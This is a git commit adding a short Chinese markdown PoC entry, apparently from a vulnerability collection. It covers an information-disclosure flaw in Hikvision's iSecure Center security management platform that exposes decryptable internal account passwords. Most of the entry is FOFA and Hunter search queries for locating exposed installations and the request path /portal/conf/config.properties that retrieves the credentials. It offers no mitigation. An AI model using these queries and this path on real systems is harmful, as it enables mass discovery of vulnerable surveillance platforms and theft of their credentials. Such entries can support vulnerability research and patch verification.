Create 海康威视综合安防管理平台信息泄露.md

2023-10-21 22:06:56 +08:00 · 2023-10-21 22:06:56 +08:00 · 3a2908197f
commit 3a2908197f
parent fe0e3bea95
1 changed files with 22 additions and 0 deletions
--- a/海康威视综合安防管理平台信息泄露.md
+++ b/海康威视综合安防管理平台信息泄露.md
@ -0,0 +1,22 @@
+
+## 海康威视综合安防管理平台信息泄露
+
+HIKVISION iSecure Center综合安防管理平台是一套“集成化”、“智能化”的平台，通过接入视频监控、一卡通、停车场、报警检测等系统的设备，海康威视综合安防管理平台信息存在信息泄露（内网集权账户密码）漏洞，可以通过解密软件，解密用户名密码。
+
+## fofa
+```
+app="HIKVISION-综合安防管理平台"
+```
+
+## hunter
+```
+web.title="综合安防管理平台"
+```
+
+## poc
+```
+/portal/conf/config.properties
+
+```
+## 漏洞复现
+![](./assets/20231021220812.png)